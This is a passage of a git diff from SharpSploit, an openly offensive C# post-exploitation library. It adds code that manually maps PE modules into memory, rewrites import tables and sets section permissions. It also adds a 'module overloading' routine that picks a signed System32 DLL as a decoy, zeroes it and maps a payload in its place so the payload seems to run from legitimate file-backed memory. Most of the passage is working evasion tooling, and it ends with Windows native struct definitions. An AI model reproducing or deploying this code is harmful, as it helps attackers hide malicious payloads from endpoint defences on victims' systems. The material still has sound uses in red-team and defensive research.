(PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(PE.IMAGE_THUNK_DATA64)); + IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64)))); + if (oft_itd.AddressOfData == 0) + { + break; + } + + if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64 + { + IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); + IntPtr pFunc = IntPtr.Zero; + pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); + + // Write pointer + Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); + } + else + { + ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; + IntPtr pFunc = IntPtr.Zero; + pFunc = DynamicInvoke.Generic.GetNativeExportAddress(hModule, (short)fOrdinal); + + // Write pointer + Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); + } + } + } + counter++; + iid = (Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( + (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), + typeof(Execute.Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) + ); + } + } + } + + /// + /// Set correct module section permissions. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// void + public static void SetModuleSectionPermissions(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) + { + // Apply RO to the module header + IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode; + DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Execute.Win32.WinNT.PAGE_READONLY); + + // Apply section permissions + foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) + { + bool isRead = (ish.Characteristics & PE.DataSectionFlags.MEM_READ) != 0; + bool isWrite = (ish.Characteristics & PE.DataSectionFlags.MEM_WRITE) != 0; + bool isExecute = (ish.Characteristics & PE.DataSectionFlags.MEM_EXECUTE) != 0; + uint flNewProtect = 0; + if (isRead & !isWrite & !isExecute) + { + flNewProtect = Execute.Win32.WinNT.PAGE_READONLY; + } + else if (isRead & isWrite & !isExecute) + { + flNewProtect = Execute.Win32.WinNT.PAGE_READWRITE; + } + else if (isRead & isWrite & isExecute) + { + flNewProtect = Execute.Win32.WinNT.PAGE_EXECUTE_READWRITE; + } + else if (isRead & !isWrite & isExecute) + { + flNewProtect = Execute.Win32.WinNT.PAGE_EXECUTE_READ; + } + else if (!isRead & !isWrite & isExecute) + { + flNewProtect = Execute.Win32.WinNT.PAGE_EXECUTE; + } + else + { + throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics); + } + + // Calculate base + IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress); + IntPtr ProtectSize = (IntPtr)ish.VirtualSize; + + // Set protection + DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect); + } + } + + /// + /// Manually map module into current process. + /// + /// Ruben Boonen (@FuzzySec) + /// Full path to the module on disk. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath) + { + // Verify process & architecture + bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Manual mapping in WOW64 is not supported."); + } + + // Alloc module into memory for parsing + IntPtr pModule = AllocateFileToMemory(ModulePath); + return MapModuleToMemory(pModule); + } + + /// + /// Manually map module into current process. + /// + /// Ruben Boonen (@FuzzySec) + /// Full byte array of the module. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module) + { + // Verify process & architecture + bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Manual mapping in WOW64 is not supported."); + } + + // Alloc module into memory for parsing + IntPtr pModule = AllocateBytesToMemory(Module); + return MapModuleToMemory(pModule); + } + + /// + /// Manually map module into current process starting at the specified base address. + /// + /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + /// Full byte array of the module. + /// Address in memory to map module to. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage) + { + // Verify process & architecture + Boolean isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Manual mapping in WOW64 is not supported."); + } + + // Alloc module into memory for parsing + IntPtr pModule = AllocateBytesToMemory(Module); + + return MapModuleToMemory(pModule, pImage); + } + + /// + /// Manually map module into current process. + /// + /// Ruben Boonen (@FuzzySec) + /// Pointer to the module base. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule) + { + // Fetch PE meta data + PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule); + + // Check module matches the process architecture + if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) + { + Marshal.FreeHGlobal(pModule); + throw new InvalidOperationException("The module architecture does not match the process architecture."); + } + + // Alloc PE image memory -> RW + IntPtr BaseAddress = IntPtr.Zero; + IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; + IntPtr pImage = DynamicInvoke.Native.NtAllocateVirtualMemory( + (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, + Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, + Execute.Win32.WinNT.PAGE_READWRITE + ); + return MapModuleToMemory(pModule, pImage, PEINFO); + } + + /// + /// Manually map module into current process. + /// + /// Ruben Boonen (@FuzzySec) + /// Pointer to the module base. + /// Pointer to the PEINFO image. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage) + { + PE.PE_META_DATA PEINFO = DynamicInvoke.Generic.GetPeMetaData(pModule); + return MapModuleToMemory(pModule, pImage, PEINFO); + } + + /// + /// Manually map module into current process. + /// + /// Ruben Boonen (@FuzzySec) + /// Pointer to the module base. + /// Pointer to the PEINFO image. + /// PE_META_DATA of the module being mapped. + /// PE_MANUAL_MAP object + public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, PE.PE_META_DATA PEINFO) + { + // Check module matches the process architecture + if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) + { + Marshal.FreeHGlobal(pModule); + throw new InvalidOperationException("The module architecture does not match the process architecture."); + } + + // Write PE header to memory + UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; + UInt32 BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders); + + // Write sections to memory + foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) + { + // Calculate offsets + IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); + IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); + + // Write data + BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData); + if (BytesWritten != ish.SizeOfRawData) + { + throw new InvalidOperationException("Failed to write to memory."); + } + } + + // Perform relocations + RelocateModule(PEINFO, pImage); + + // Rewrite IAT + RewriteModuleIAT(PEINFO, pImage); + + // Set memory protections + SetModuleSectionPermissions(PEINFO, pImage); + + // Free temp HGlobal + Marshal.FreeHGlobal(pModule); + + // Prepare return object + PE.PE_MANUAL_MAP ManMapObject = new PE.PE_MANUAL_MAP + { + ModuleBase = pImage, + PEINFO = PEINFO + }; + + return ManMapObject; + } + + /// + /// Free a module that was mapped into the current process. + /// + /// The Wover (@TheRealWover) + /// The metadata of the manually mapped module. + public static void FreeModule(PE.PE_MANUAL_MAP PEMapped) + { + // Check if PE was mapped via module overloading + if (!string.IsNullOrEmpty(PEMapped.DecoyModule)) + { + DynamicInvoke.Native.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase); + } + // If PE not mapped via module overloading, free the memory. + else + { + PE.PE_META_DATA PEINFO = PEMapped.PEINFO; + + // Get the size of the module in memory + IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; + IntPtr pModule = PEMapped.ModuleBase; + + DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Execute.Win32.Kernel32.AllocationType.Release); + } + } + } +} diff --git a/SharpSploit/Execution/ManualMap/Overload.cs b/SharpSploit/Execution/ManualMap/Overload.cs new file mode 100644 index 0000000..8d9e549 --- /dev/null +++ b/SharpSploit/Execution/ManualMap/Overload.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; + +using Execute = SharpSploit.Execution; + +namespace SharpSploit.Execution.ManualMap +{ + public class Overload + { + /// + /// Locate a signed module with a minimum size which can be used for overloading. + /// + /// The Wover (@TheRealWover) + /// Minimum module byte size. + /// Whether to require that the module be legitimately signed. + /// + /// String, the full path for the candidate module if one is found, or an empty string if one is not found. + /// + public static string FindDecoyModule(long MinSize, bool LegitSigned = true) + { + string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; + List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); + foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) + { + if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) + { + files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); + } + } + + // Pick a random candidate that meets the requirements + Random r = new Random(); + // List of candidates that have been considered and rejected + List candidates = new List(); + while (candidates.Count != files.Count) + { + // Iterate through the list of files randomly + int rInt = r.Next(0, files.Count); + string currentCandidate = files[rInt]; + + // Check that the size of the module meets requirements + if (candidates.Contains(rInt) == false && + new FileInfo(currentCandidate).Length >= MinSize) + { + // Check that the module meets signing requirements + if (LegitSigned == true) + { + if (Misc.Utilities.FileHasValidSignature(currentCandidate) == true) + { + return currentCandidate; + } + else + { + candidates.Add(rInt); + } + } + else + { + return currentCandidate; + } + } + candidates.Add(rInt); + } + return string.Empty; + } + + /// + /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that + /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. + /// + /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + /// Full path to the payload module on disk. + /// Optional, if the decoy module must have a legitimate signature. + /// Optional, full path the decoy module to overload in memory. + /// PE.PE_MANUAL_MAP + public static PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, bool LegitSigned = true, string DecoyModulePath = null) + { + // Verify process & architecture + bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Module overloading in WOW64 is not supported."); + } + + // Get approximate size of Payload + if (!File.Exists(PayloadPath)) + { + throw new InvalidOperationException("Payload filepath not found."); + } + byte[] Payload = File.ReadAllBytes(PayloadPath); + + return OverloadModule(Payload, LegitSigned, DecoyModulePath); + } + + /// + /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that + /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. + /// + /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) + /// Full byte array for the payload module. + /// Optional, if the decoy module must have a legitimate signature. + /// Optional, full path the decoy module to overload in memory. + /// PE.PE_MANUAL_MAP + public static PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, bool LegitSigned = true, string DecoyModulePath = null) + { + // Verify process & architecture + bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Module overloading in WOW64 is not supported."); + } + + // Did we get a DecoyModule? + if (!string.IsNullOrEmpty(DecoyModulePath)) + { + if (!File.Exists(DecoyModulePath)) + { + throw new InvalidOperationException("Decoy filepath not found."); + } + byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); + if (DecoyFileBytes.Length < Payload.Length) + { + throw new InvalidOperationException("Decoy module is too small to host the payload."); + } + } + else + { + DecoyModulePath = FindDecoyModule(Payload.Length, LegitSigned); + if (string.IsNullOrEmpty(DecoyModulePath)) + { + throw new InvalidOperationException("Failed to find suitable decoy module."); + } + } + + // Map decoy from disk + PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath); + IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; + + // Change permissions to RW + DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Execute.Win32.WinNT.PAGE_READWRITE); + + // Zero out memory + DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); + + // Overload module in memory + PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); + OverloadedModuleMetaData.DecoyModule = DecoyModulePath; + + return OverloadedModuleMetaData; + } + } +} diff --git a/SharpSploit/Execution/ManualMap/PE.cs b/SharpSploit/Execution/ManualMap/PE.cs new file mode 100644 index 0000000..d11d2dd --- /dev/null +++ b/SharpSploit/Execution/ManualMap/PE.cs @@ -0,0 +1,376 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpSploit.Execution.ManualMap +{ + /// + /// Holds data structures for using PEs. + /// + public class PE + { + // DllMain constants + public const UInt32 DLL_PROCESS_DETACH = 0; + public const UInt32 DLL_PROCESS_ATTACH = 1; + public const UInt32 DLL_THREAD_ATTACH = 2; + public const UInt32 DLL_THREAD_DETACH = 3; + + // Primary class for loading PE + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved); + + [Flags] + public enum DataSectionFlags : uint + { + TYPE_NO_PAD = 0x00000008, + CNT_CODE = 0x00000020, + CNT_INITIALIZED_DATA = 0x00000040, + CNT_UNINITIALIZED_DATA = 0x00000080, + LNK_INFO = 0x00000200, + LNK_REMOVE = 0x00000800, + LNK_COMDAT = 0x00001000, + NO_DEFER_SPEC_EXC = 0x00004000, + GPREL = 0x00008000, + MEM_FARDATA = 0x00008000, + MEM_PURGEABLE = 0x00020000, + MEM_16BIT = 0x00020000, + MEM_LOCKED = 0x00040000, + MEM_PRELOAD = 0x00080000, + ALIGN_1BYTES = 0x00100000, + ALIGN_2BYTES = 0x00200000, + ALIGN_4BYTES = 0x00300000, + ALIGN_8BYTES = 0x00400000, + ALIGN_16BYTES = 0x00500000, + ALIGN_32BYTES = 0x00600000, + ALIGN_64BYTES = 0x00700000, + ALIGN_128BYTES = 0x00800000, + ALIGN_256BYTES = 0x00900000, + ALIGN_512BYTES = 0x00A00000, + ALIGN_1024BYTES = 0x00B00000, + ALIGN_2048BYTES = 0x00C00000, + ALIGN_4096BYTES = 0x00D00000, + ALIGN_8192BYTES = 0x00E00000, + ALIGN_MASK = 0x00F00000, + LNK_NRELOC_OVFL = 0x01000000, + MEM_DISCARDABLE = 0x02000000, + MEM_NOT_CACHED = 0x04000000, + MEM_NOT_PAGED = 0x08000000, + MEM_SHARED = 0x10000000, + MEM_EXECUTE = 0x20000000, + MEM_READ = 0x40000000, + MEM_WRITE = 0x80000000 + } + + public struct IMAGE_DOS_HEADER + { // DOS .EXE header + public UInt16 e_magic; // Magic number + public UInt16 e_cblp; // Bytes on last page of file + public UInt16 e_cp; // Pages in file + public UInt16 e_crlc; // Relocations + public UInt16 e_cparhdr; // Size of header in paragraphs + public UInt16 e_minalloc; // Minimum extra paragraphs needed + public UInt16 e_maxalloc; // Maximum extra paragraphs needed + public UInt16 e_ss; // Initial (relative) SS value + public UInt16 e_sp; // Initial SP value + public UInt16 e_csum; // Checksum + public UInt16 e_ip; // Initial IP value + public UInt16 e_cs; // Initial (relative) CS value + public UInt16 e_lfarlc; // File address of relocation table + public UInt16 e_ovno; // Overlay number + public UInt16 e_res_0; // Reserved words + public UInt16 e_res_1; // Reserved words + public UInt16 e_res_2; // Reserved words + public UInt16 e_res_3; // Reserved words + public UInt16 e_oemid; // OEM identifier (for e_oeminfo) + public UInt16 e_oeminfo; // OEM information; e_oemid specific + public UInt16 e_res2_0; // Reserved words + public UInt16 e_res2_1; // Reserved words + public UInt16 e_res2_2; // Reserved words + public UInt16 e_res2_3; // Reserved words + public UInt16 e_res2_4; // Reserved words + public UInt16 e_res2_5; // Reserved words + public UInt16 e_res2_6; // Reserved words + public UInt16 e_res2_7; // Reserved words + public UInt16 e_res2_8; // Reserved words + public UInt16 e_res2_9; // Reserved words + public UInt32 e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public UInt32 VirtualAddress; + public UInt32 Size; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER32 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt32 BaseOfData; + public UInt32 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt32 SizeOfStackReserve; + public UInt32 SizeOfStackCommit; + public UInt32 SizeOfHeapReserve; + public UInt32 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER64 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt64 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt64 SizeOfStackReserve; + public UInt64 SizeOfStackCommit; + public UInt64 SizeOfHeapReserve; + public UInt64 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER + { + public UInt16 Machine; + public UInt16 NumberOfSections; + public UInt32 TimeDateStamp; + public UInt32 PointerToSymbolTable; + public UInt32 NumberOfSymbols; + public UInt16 SizeOfOptionalHeader; + public UInt16 Characteristics; + } + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_SECTION_HEADER + { + [FieldOffset(0)] + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] Name; + [FieldOffset(8)] + public UInt32 VirtualSize; + [FieldOffset(12)] + public UInt32 VirtualAddress; + [FieldOffset(16)] + public UInt32 SizeOfRawData; + [FieldOffset(20)] + public UInt32 PointerToRawData; + [FieldOffset(24)] + public UInt32 PointerToRelocations; + [FieldOffset(28)] + public UInt32 PointerToLinenumbers; + [FieldOffset(32)] + public UInt16 NumberOfRelocations; + [FieldOffset(34)] + public UInt16 NumberOfLinenumbers; + [FieldOffset(36)] + public DataSectionFlags Characteristics; + + public string Section + { + get { return new string(Name); } + } + } + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_EXPORT_DIRECTORY + { + [FieldOffset(0)] + public UInt32 Characteristics; + [FieldOffset(4)] + public UInt32 TimeDateStamp; + [FieldOffset(8)] + public UInt16 MajorVersion; + [FieldOffset(10)] + public UInt16 MinorVersion; + [FieldOffset(12)] + public UInt32 Name; + [FieldOffset(16)] + public UInt32 Base; + [FieldOffset(20)] + public UInt32 NumberOfFunctions; + [FieldOffset(24)] + public UInt32 NumberOfNames; + [FieldOffset(28)] + public UInt32 AddressOfFunctions; + [FieldOffset(32)] + public UInt32 AddressOfNames; + [FieldOffset(36)] + public UInt32 AddressOfOrdinals; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_BASE_RELOCATION + { + public uint VirtualAdress; + public uint SizeOfBlock; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PE_META_DATA + { + public UInt32 Pe; + public Boolean Is32Bit; + public IMAGE_FILE_HEADER ImageFileHeader; + public IMAGE_OPTIONAL_HEADER32 OptHeader32; + public IMAGE_OPTIONAL_HEADER64 OptHeader64; + public IMAGE_SECTION_HEADER[] Sections; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PE_MANUAL_MAP + { + public String DecoyModule; + public IntPtr ModuleBase; + public PE_META_DATA PEINFO; + } + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_THUNK_DATA32 + { + [FieldOffset(0)] + public UInt32 ForwarderString; + [FieldOffset(0)] + public UInt32 Function; + [FieldOffset(0)] + public UInt32 Ordinal; + [FieldOffset(0)] + public UInt32 AddressOfData; + } + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_THUNK_DATA64 + { + [FieldOffset(0)] + public UInt64 ForwarderString; + [FieldOffset(0)] + public UInt64 Function; + [FieldOffset(0)] + public UInt64 Ordinal; + [FieldOffset(0)] + public UInt64 AddressOfData; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetNamespace + { + [FieldOffset(0x0C)] + public int Count; + + [FieldOffset(0x10)] + public int EntryOffset; + } + + [StructLayout(LayoutKind.Explicit, Size = 24)] + public struct ApiSetNamespaceEntry + { + [FieldOffset(0x04)] + public int NameOffset; + + [FieldOffset(0x08)] + public int NameLength; + + [FieldOffset(0x10)] + public int ValueOffset; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetValueEntry + { + [FieldOffset(0x0C)] + public int ValueOffset; + + [FieldOffset(0x10)] + public int ValueCount; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LDR_DATA_TABLE_ENTRY + { + public Native.LIST_ENTRY InLoadOrderLinks; + public Native.LIST_ENTRY InMemoryOrderLinks; + public Native.LIST_ENTRY InInitializationOrderLinks; + public IntPtr DllBase; + public IntPtr EntryPoint; + public UInt32 SizeOfImage; + public Native.UNICODE_STRING FullDllName; + public Native.UNICODE_STRING BaseDllName; + } + } +} diff --git a/SharpSploit/Execution/Native.cs b/SharpSploit/Execution/Native.cs new file mode 100644 index 0000000..4743088 --- /dev/null +++ b/SharpSploit/Execution/Native.cs @@ -0,0 +1,527 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpSploit.Execution +{ + /// + /// Native is a library of enums and structures for Native (NtDll) API functions. + /// + /// + /// A majority of this library is adapted from signatures found at www.pinvoke.net. + /// + public static class Native + { + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct ANSI_STRING + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + + public struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public int InheritedFromUniqueProcessId; + + public int Size + { + get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } + } + } + + [StructLayout(LayoutKind.Sequential, Pack = 0)] + public struct OBJECT_ATTRIBUTES + { + public Int32 Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; // -> UNICODE_STRING + public uint Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IO_STATUS_BLOCK + { + public IntPtr Status; + public IntPtr Information; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CLIENT_ID + { + public IntPtr UniqueProcess; + public IntPtr UniqueThread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OSVERSIONINFOEX + { + public uint OSVersionInfoSize; + public uint MajorVersion; + public uint MinorVersion; + public uint BuildNumber; + public uint PlatformId; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string CSDVersion; + public ushort ServicePackMajor; + public ushort ServicePackMinor; + public ushort SuiteMask; + public byte ProductType; + public byte Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LIST_ENTRY + { + public IntPtr Flink; + public IntPtr Blink; + } + + public enum MEMORYINFOCLASS : int + { + MemoryBasicInformation = 0, + MemoryWorkingSetList, + MemorySectionName, + MemoryBasicVlmInformation + } + + public enum PROCESSINFOCLASS : int + { + ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: HANDLE + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // 10 + ProcessLdtSize, + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, + ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: 